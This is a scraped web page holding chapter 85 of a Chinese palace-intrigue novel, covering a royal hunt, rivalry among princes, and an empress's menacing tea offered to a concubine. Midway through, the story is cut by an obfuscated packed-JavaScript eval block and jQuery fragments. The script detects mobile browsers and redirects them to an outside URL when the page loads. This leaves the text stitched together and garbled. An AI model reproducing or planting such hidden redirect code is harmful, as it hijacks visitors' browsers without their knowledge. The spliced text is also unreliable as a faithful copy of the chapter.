85. 烟缕织成愁
作品:《太子妃请狠狠调教太子(重生)》 第八十五章烟缕织成愁
(蔻燎)
正常人都能听出曲远纣的弦外之音,话中深意。
一颗颗脑壳纷纷往事不关己,呆呆傻傻的曲探幽那瞅了两眼,被瞅的主角却毫无反应,一手搂着落花啼的胳膊,一手把玩着刻满花纹的淡翡翠茶杯,像极了心智未开的三岁稚童。
曲双蛾担忧地注视曲探幽,手指绞着丝帕,眼眶泛红,欲言又止。
覆掀雨端着花茶品了一口,凤目半挑,嘴角翘了翘几不可查的弧线,转瞬即逝。
曲瑾琏瞥瞥曲探幽射的那块瘦削的雁尸,眼帘一抬,里面的讥笑呼之欲出,他提着酒盏与曲钦寒的磕了下,冷傲地昂着下巴,一饮而尽。
那姿态,已将太子的气度摆了出来,目中无人,不可一世。
“皇上,太子殿下前不久受歹人刺杀,死里逃生,病症未愈,忍着病痛参加翘首围猎,实乃值得敬佩的事情,难能可贵,不因以猎物数目来评判太子的才能。”
坐于一旁休憩的曲中论适时打破沉寂,音调抑扬顿挫,语罢,抬手喝了一杯清茶,目不斜视。
曲远纣摩挲着下巴,暗暗忖度,一言不发。
曲瑾琏斜扫曲中论,鼻底哼哧一声,促狭道,“太子殿下既然病重,何以不留在逢君行宫静养伤势?跑出来抛头露面惹人担心,岂不是得不到一丝好处?再者,狩猎比的就是猎物的多少,倘若不按数目来排列前后,该当选择何种方法确定高手和庸人呢?十一皇叔,你有更好的法子么?”
他得意洋洋地捻一粒盐花生扔嘴里,后槽牙一挫,嚼得“咔嚓咔嚓”响,仿佛咬碎了活人的四肢百骸,悚然不已。
曲中论笑道,“四皇子伶牙利嘴,对于射猎范围,必是比本王要懂得更多,本王甘拜下风。不过,本王依稀记得,今儿四皇子与六皇子如影随形,并驾冲刺,有曲兵看见六皇子打的猎物不比四皇子的少……嗯,可到了清点之时,六皇子的猎物却寥寥可数,少得可怜,啧,奇怪得很啊。”
最后一句,就差指名道姓把四皇子强占六皇子猎物的真实过程吐出来。
或许,是六皇子主动拱手让出自己的猎物,为的就是让他的四哥在皇上面前大放异彩,刮目相看。
此言一出,曲瑾琏的面皮儿以肉眼可见的程度擦了黑,胜过锅底。
曲钦寒出面道,“十一皇叔,你错怪四哥了,我射艺奇差,只是帮着四哥收拾猎物罢了,许是被曲兵错以为那些猎物是我的。”
“这样啊。”曲中论将信将疑,侧目瞟一眼曲远纣。
曲远纣还是神游天外的表情,严肃端穆,周身寒气骀荡。
落花啼剥了个圆溜溜的枇杷吃了,听得曲瑾琏和曲中论一来一去地针锋相对,白眼一滚,低喃道,“不是你喊我们来围猎的吗?现在怪曲探幽跑来翘首围场,曲瑾琏,你真是黑的白的都说尽了。”
她嘀嘀咕咕一阵,眼前突然闪入一片澄黄,芳香动人,扭头,原是曲探幽静悄悄学着落花啼剥枇杷的动作,小心翼翼给她剥了一捧甜枇杷。
曲探幽扬唇,“姐姐,吃。”
落花啼看看曲探幽,又看看曲瑾琏那边,一股言语不得的复杂情绪吞噬着她的身心,她接过曲探幽剥的枇杷,塞一颗进嘴里,吃了果肉,吐掉果核。
明明是非常甜嫩多汁的枇杷,吃下之后,口腔却苦得如同黄莲榨成了水,自喉咙口苦到了心脏最柔软处,永永远远遗忘不了。
落花啼像是喟叹,像是感慨,字字珠玑道,“曲探幽,你啊,该怎么办呢……”
如果你能一辈子处于痴傻状态,是否还不会极度痛苦?
你若是清醒过来,发现曲朝内部发生天翻地覆的变化,你荣光不复,沦为笑柄,你可有求死的心呢?
你曾经是多么倨傲的人啊。
最后,落花啼没吃完曲探幽给的枇杷,而是一把抛到了灰尘簌簌的土地上,弃如敝履,任那些黄灿灿的枇杷骨碌碌滚成黑球,像缩在阴沟的老鼠一样使人见了想狠踢一脚。
暮色降临,春天的夜晚依旧有凉嗖嗖的风儿,从后方吹来,犹似女鬼在朝脖颈哈着鬼气,阴冷可怖。
经过一日的围猎,其中的猎物,譬如野猪,野兔,麋鹿,野鸡等等,全部拿来烹制成野味,或是剥皮抽筋做烤肉,或是开膛破肚炖肉羹,或是大卸八块在油锅里炸煎。总而言之,猎物死得五花八门,惨不忍睹。
宫内带来的御厨手脚麻利地在天黑之前做了丰盛的野味宴,皇室臣子们依着尊卑逐一入座。
举杯痛饮,载歌载舞,高谈阔论,吵闹声沸反盈天。
所有人都在逢迎讨好曲远纣,不少人自以为是地去与曲瑾琏侃侃而谈,仿佛压准了对方是未来的新一任太子殿下,极尽阿谀谄媚。
曲瑾琏表面装得大体,规规矩矩和那些大臣保持距离,时不时赖洋洋答个一字半句,然而眼底透出的野心毫不留情地出卖了他。
对此,曲远纣心里跟明镜儿似的,全把这些伎俩当小儿把戏,扫了几眼便不多看,一种放任不管的态度。
落花啼不喜吃野味,尝了一口觉得腥气扑鼻,丢了筷子一味地喝酒,连灌自己三四瓶。
“母后,儿臣可以喝酒吗?父皇在酒里加了鹿血,他们说鹿血酒能补气养血……”
一黏黏糊糊的软糯声音钻入耳朵,引得落花啼,曲探幽同时循声望去。
在场之人亦将眸子投在了覆掀雨身边坐着的八岁的九皇子曲信诚脸上,面面相觑。
覆掀雨爱抚曲信诚的脸蛋,摇摇头,宠溺道,“信诚,你听哪个‘他们’说的?小孩子不能饮酒,更不能饮掺了鹿血的酒,你本孱弱,怎经得起鹿血的热呢?”
“母后,儿臣也只是好奇罢了。母后不准儿臣喝,儿臣不喝就好,儿臣喝绣心姑姑泡的蜂蜜水,甜甜的。”
曲信诚乖乖“嗯”一声,抱着一盏热腾腾的蜂蜜水,咕咚咕咚喝了三大口,喝完抬目看向覆掀雨,一脸等夸的笑容。
覆掀雨对这唯一的亲儿子疼爱有加,摸摸曲信诚的鼻尖,柔柔道,“信诚真乖,信诚是世界上最乖的孩子啦。”
“嘿嘿,多谢母后赞誉。”
小孩子就是小孩子,一句漫不经心的赞扬便可叫人美滋滋地夜里都做梦。
覆掀雨与曲信诚言谈了片刻,随后让绣心带九皇子去喝药,早早安寐,不可熬坏身体。
落花啼有感而发,“舐犊情深,不过如此。”
曲探幽低睫垂眸,缄默不言。
对面一桌的曲瑾琏,曲钦寒的视线追了曲信诚的背影一段路,双双收回目光,相望一秒,两人的嘴角弯起,一眨眼的功夫便隐了去。
野味宴持续到半夜。
落花啼提前撤身离席,曲探幽亦步亦趋随她回了帐篷。银芽,红药,余容,将离各自进帐歇息,放松筋骨,以备明日的精气神。
曲探幽临睡前会有御医为其清洗脑后的伤口,敷药包扎,最后由入鞘领着去翘首围场的温泉池沐浴,待他忙完一切掀帐进来时,落花啼已抱着枕头昏昏欲睡。
曲探幽朝入鞘挥手,打发入鞘去睡觉,他一抖帘子,旋身走近帐内的软榻。
头部缠绕的干净绷带像两条白蛇游弋在他背后,诡异夺目。
一袭黑绸暗纹衣袍衬出他的宽肩窄腰,修长腿脚,走一步都是画中仙的美感,秀色可餐。
奈何落花啼喝多了酒,无心观赏美男出浴的画面,她脸朝里面,背对着曲探幽,身体因呼吸在轻微地一起一伏。
坐在床沿,曲探幽黝黑的眸渊漾出森森迷雾,他伸手勾着落花啼烧得通红的耳朵,爱不释手地摸了许久,喉结鼓了一鼓,下颌线绷得犀利无比。
他褪去锦靴,上床侧躺,长臂横展,兜住落花啼的腰身,劲力往自己怀里一揽,将熟睡的人儿框在离得最近的距离。
下巴搁在对方的肩膀,依恋地蹭蹭,那般小心,那般痴迷。
燥热。
抵挡不住的燥热铺天盖地涌来,曲探幽张张嘴,手上一用力,抱得更近,更近,更近些。
他触碰自己绯红的面容,懵懂地眯着眼孔,嘴唇贴在落花啼颈子边,神色不自然,“姐姐,你只能是我的,谁也抢不走你。”
“姐姐……”
他就那样抱着,那样呢喃独语,不知不觉酣睡了。
翌日,太阳浓烈,金光灿烂,蓝天被照得剔透,白云被衬得透明。
青山绿水,茂林密叶,花香缭绕,鸟语啾啾。
翘首围场开启了第二轮狩猎比赛。
落花啼,曲探幽同昨日一样骑着挑选的马匹,跟在大队伍末端悠哉悠哉地边玩边打猎,颇为自在。
翘首围场的帐篷一带,留了一众后宫佳丽,幼小皇子和公主,她们不喜射猎,又怕太阳曝晒,便在一凉棚下有说有笑,谈东聊西,打发时间。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16514482|175219||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
皇后作为后宫之首,不止接受嫔妃的请安,还得抚慰她们被冷落的心情。
一位有几分姿色的年轻妃子用绢帕揩揩眼角不存在的泪痕,抽抽搭搭哭诉道,“皇后娘娘,臣妾已有三月未得皇上宠幸了,多亏了皇后娘娘在皇上面前提议带臣妾来翘首围场,不然臣妾恐怕再也没机会看见皇上了……呜呜,不知今儿夜里皇上会不会召见臣妾,皇后娘娘你能否帮……”
另一个衣着华丽的妃嫔眼尾生了几根细纹,与那年轻妃子非是年龄相当之人,她啐一口入嘴的茶叶,嗤之以鼻,“果然是年纪小,整天整日惦记着跟皇上卿卿我我,皇上心属皇后娘娘,怎会多余瞅你一眼?”
“芙贵妃,你此言差矣。你已育了四皇子,母凭子贵,自是不惦记着皇上来不来了。臣妾进宫五年多,还没一子半女,往后该如何啊,呜呜呜。”那年轻妃子多愁善感,这回是真真切切哭泣了,滚圆的泪珠落在地面,一砸一个坑。
她泪眼婆娑,楚楚可怜,“臣妾明白,皇后娘娘是皇上心爱之人,臣妾不敢奢求分走皇上的真心,唯愿能为皇上开枝散叶,生儿育女,也不枉入宫一遭了。”
芙贵妃拿牙签戳一块甜腻腻的栗子糕扔嘴里,眼中的轻蔑浓了几个度,秀丽的容貌满是刻薄冷漠。她扭头觑着覆掀雨的神情,覆掀雨皮笑肉不笑,呼了绣心去给那年轻妃子拭泪。
那妃子口无遮拦,被绣心这个皇后的大宫女亲自伺候,脊骨挺直,话语不过脑子就突突蹦了出来,道,“芙贵妃,还是你命好,运好,你生的四皇子争气,之前太子殿下一枝独秀的时候,四皇子也受皇上一点青睐,如今太子殿下不复往昔,朝野上下皆推举四皇子成为储君,芙贵妃你要是沾一沾四皇子的光,说不定还能再升一升位份,也未可知——啊!”
“啪!”
剧烈的一掌猛然扇在那妃子腮帮子上,直打得她跌下椅子,一屁股坐地上。
芙贵妃乃曲瑾琏生母,多年来依附皇后覆掀雨,她无论如何也不敢骑到覆掀雨头上去,近段日子曲瑾琏风风光光,她的确得意忘形,但即便如此,她还是没胆子舞到覆掀雨脸前去。
她战战兢兢,做小伏低为儿子铺路,生怕激怒了皇后,目下居然被一个妃子胡言乱语坏了印象,如何不气不忿?
芙贵妃的一巴掌使了全部力气,自己的掌心都疼得几欲裂开,她惶恐地跪下,一头珠钗摇晃出叮叮当当的脆响,“皇后娘娘息怒!她讲话没轻没重,没大没小,臣妾实在看不下去,这才一怒之下动手,并不是想越俎代庖替娘娘惩罚她,求皇后娘娘恕罪!”
那妃子挨了一刮子,后知后觉反应过来自己惹了大祸,“噗通”一下膝盖敲地,哭花了一张娇蕊般的脸,泫然泪流道,“皇后娘娘,是臣妾愚钝,臣妾不是有意的,臣妾……臣妾是无心之失,臣妾对不住芙贵妃,对不住皇后娘娘您啊!皇后娘娘,您饶了臣妾,臣妾再也不敢了,再也不敢了!”
“求皇后娘娘息怒!”
妃嫔们一俱屈身行礼,请求皇后宽恕。
曲双蛾凝视上首覆掀雨那暗潮涌动的眉眼,胸脯一颤,几不可闻地吁气,她挪走目仁,既不想掺和进去,也不想恭维覆掀雨,远远遥望着那翠绿的山林,魂不守舍。
她最厌恶跟皇后,还有这些妃嫔相处,简直度日如年。
站起身,施了一礼,道,“儿臣偶感不适,先行告退。”
这种火药味滚滚飘荡的场所,不是她久留之地。
灵华长公主一走,旁的公主皇子也借机溜了,唯恐燃上一星怒火。
覆掀雨不理会曲双蛾等人的离去,反正合她心意,所有妃嫔跪得端端正正,而她这皇后有着一览众山小的气势,一颦一笑都牵动着她们的小心肝。
怎一个快意了得?
覆掀雨抿一口寡淡的白水,素雅的银饰簪子在阳光下掠出刀剑的寒芒,一朵丝绸所制的姚黄牡丹栩栩如生地盛开在鬓边,美得人移不开眼球。
她朝那哭得残妆斑驳的妃子召召手,呵气如兰,“别哭,本宫不曾怪罪你,过来。”
妃子膝行至凤椅之下,仰望着高高在上的一国之母,心惊胆战。
绣心从一帘子后执了一杯水沫泛紫的香茗出来,恭敬道,“请芳妃娘娘饮茶,此茶一饮,今日的闹剧便可轻松收尾。”
芳妃死死盯着颜色不正常的茶水,抖如筛糠,目眦欲裂,齿寒道,“不,不,臣妾……”